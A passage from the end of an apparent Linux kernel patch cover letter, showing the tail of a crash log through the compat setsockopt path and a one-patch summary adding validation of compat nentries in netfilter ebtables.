[ 671.203035][T11148] ? find_held_lock+0x2d/0x110
[ 671.203422][T11148] ? __might_fault+0xb6/0x120
[ 671.203794][T11148] ? lock_acquire+0x2f/0xb0
[ 671.204152][T11148] __sys_setsockopt+0x144/0x1c0
[ 671.204545][T11148] __do_compat_sys_socketcall+0x3ec/0x5d0
[ 671.204980][T11148] ? do_user_addr_fault+0x8be/0xe10
[ 671.205386][T11148] ? __pfx___do_compat_sys_socketcall+0x10/0x10
[ 671.205869][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.206309][T11148] ? lock_acquire+0x2f/0xb0
[ 671.206672][T11148] ? srso_alias_return_thunk+0x5/0xfbef5
[ 671.207137][T11148] do_int80_emulation+0xfc/0x1f0
[ 671.207531][T11148] asm_int80_emulation+0x1a/0x20
[ 671.207909][T11148] RIP: 0023:0x804933e
[ 671.208226][T11148] Code: Unable to access opcode bytes at 0x8049314.
[ 671.208724][T11148] RSP: 002b:00000000ffd96130 EFLAGS: 00000246 ORIG_RAX:
0000000000000066
[ 671.209371][T11148] RAX: ffffffffffffffda RBX: 000000000000000e RCX:
00000000ffd9615c
[ 671.209976][T11148] RDX: 0000000000000000 RSI: 0000000000000066 RDI:
00000000ffd96170
[ 671.210578][T11148] RBP: 00000000ffd96208 R08: 0000000000000000 R09:
0000000000000000
[ 671.211178][T11148] R10: 0000000000000000 R11: 0000000000000000 R12:
0000000000000000
[ 671.211782][T11148] R13: 0000000000000000 R14: 0000000000000000 R15:
0000000000000000
[ 671.212418][T11148] </TASK>
[ 671.212802][T11148] Kernel Offset: disabled
[ 671.213181][T11148] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
netfilter: ebtables: validate compat nentries
net/bridge/netfilter/ebtables.c | 2 ++
1 file changed, 2 insertions(+)
--
2.55.0